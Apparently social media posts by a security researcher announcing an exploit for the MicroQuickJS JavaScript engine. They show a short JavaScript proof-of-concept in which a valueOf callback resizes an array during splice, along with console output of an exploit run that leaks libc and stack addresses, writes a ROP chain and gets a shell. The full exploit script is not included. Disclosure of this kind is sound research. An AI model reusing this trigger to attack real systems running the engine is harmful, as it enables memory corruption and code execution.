When MicroQuickJS released, I spent 8.5 hours to summon an Exploit for it. Here is the Fault: var arr = new Array(30) var attack = { valueOf: function() { arr.length = 0 arr.length = 3 return 10 } } arr.splice(attack, 30) I document the full Ritual Process below

itszn

@itszn13 · Twitter · 2025-12-24 12:42 UTC

New JS engine, old JS vulns :) Found a bug and wrote an exploit in 8 hours 645da364a8089c43953b345d3004fc76148cb2f136f74e211429ddc8452846d1 exp-shell.js ./mqjs ./exp-shell.js LEAKED: 77b6 1c5ff205 LIBC BASE: 77b6 1d600000 STACK PTR: 7ffd 143e1bb8 WROTE ROP CHAIN $ whoami nyan